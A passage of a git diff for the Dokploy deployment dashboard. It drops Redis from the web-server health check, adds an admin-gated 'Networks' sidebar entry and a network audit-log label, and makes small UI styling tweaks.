[isOpen, setIsOpen] = useState(false); const isLocalServer = serverId === "local"; diff --git a/apps/dokploy/components/dashboard/settings/web-server/update-webserver.tsx b/apps/dokploy/components/dashboard/settings/web-server/update-webserver.tsx index d8a35d142b..57673b1506 100644 --- a/apps/dokploy/components/dashboard/settings/web-server/update-webserver.tsx +++ b/apps/dokploy/components/dashboard/settings/web-server/update-webserver.tsx @@ -30,7 +30,6 @@ type ServiceStatus = { type HealthResult = { postgres: ServiceStatus; - redis: ServiceStatus; traefik: ServiceStatus; }; @@ -89,7 +88,6 @@ export const UpdateWebServer = ({ const allHealthy = healthResult && healthResult.postgres.status === "healthy" && - healthResult.redis.status === "healthy" && healthResult.traefik.status === "healthy"; const checkIsUpdateFinished = async () => { @@ -179,7 +177,7 @@ export const UpdateWebServer = ({ {modalState === "checking" && ( - Checking PostgreSQL, Redis and Traefik... + Checking PostgreSQL and Traefik... )} @@ -190,10 +188,6 @@ export const UpdateWebServer = ({ name="PostgreSQL" service={healthResult.postgres} /> - { ) : null} +
diff --git a/apps/dokploy/components/layouts/side.tsx b/apps/dokploy/components/layouts/side.tsx index c12c8a657a..e58256c63f 100644 --- a/apps/dokploy/components/layouts/side.tsx +++ b/apps/dokploy/components/layouts/side.tsx @@ -25,6 +25,7 @@ import { Loader2, LogIn, type LucideIcon, + Network, Package, Palette, PieChart, @@ -209,6 +210,20 @@ const MENU: Menu = { // Only enabled for users with access to Docker isEnabled: ({ permissions }) => !!permissions?.docker.read, }, + { + isSingle: true, + title: "Networks", + url: "/dashboard/networks", + icon: Network, + // Only enabled for admins and users with access to Docker in non-cloud environments + isEnabled: ({ auth, isCloud }) => + !!( + (auth?.role === "owner" || + auth?.role === "admin" || + auth?.canAccessToDocker) && + !isCloud + ), + }, { isSingle: true, title: "Requests", diff --git a/apps/dokploy/components/proprietary/audit-logs/columns.tsx b/apps/dokploy/components/proprietary/audit-logs/columns.tsx index dacb0284c0..517335e298 100644 --- a/apps/dokploy/components/proprietary/audit-logs/columns.tsx +++ b/apps/dokploy/components/proprietary/audit-logs/columns.tsx @@ -95,6 +95,7 @@ const RESOURCE_LABELS: Record = { notification: "Notification", settings: "Settings", session: "Session", + network: "Network", }; function MetadataCell({ metadata }: { metadata: string | null }) { diff --git a/apps/dokploy/components/shared/drawer-logs.tsx b/apps/dokploy/components/shared/drawer-logs.tsx index 38f8b5db4a..301a0fe0d5 100644 --- a/apps/dokploy/components/shared/drawer-logs.tsx +++ b/apps/dokploy/components/shared/drawer-logs.tsx @@ -47,7 +47,7 @@ export const DrawerLogs = ({ isOpen, onClose, filteredLogs }: Props) => { onClose(); }} > - + Deployment Logs Details of the request log entry. diff --git a/apps/dokploy/components/ui/button.tsx b/apps/dokploy/components/ui/button.tsx index 67f4405b05..f31410ab4d 100644 --- a/apps/dokploy/components/ui/button.tsx +++ b/apps/dokploy/components/ui/button.tsx @@ -6,7 +6,7 @@ import type * as React from "react"; import { cn } from "@/lib/utils"; const buttonVariants = cva( - "group/button inline-flex shrink-0 items-center justify-center rounded-lg border border-transparent bg-clip-padding text-sm font-medium whitespace-nowrap transition-all outline-none select-none focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 active:not-aria-[haspopup]:translate-y-px disabled:pointer-events-none disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4", + "group/button inline-flex shrink-0 cursor-pointer items-center justify-center rounded-lg border border-transparent bg-clip-padding text-sm font-medium whitespace-nowrap transition-all outline-none select-none focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 active:not-aria-[haspopup]:translate-y-px disabled:pointer-events-none disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4", { variants: { variant: { diff --git a/apps/dokploy/components/ui/textarea.tsx b/apps/dokploy/components/ui/textarea.tsx index 959d789e2d..4a81682118 100644 --- a/apps/dokploy/components/ui/textarea.tsx +++ b/apps/dokploy/components/ui/textarea.tsx @@ -7,7 +7,7 @@ function Textarea({ className, ...props }: React.ComponentProps<"textarea">) {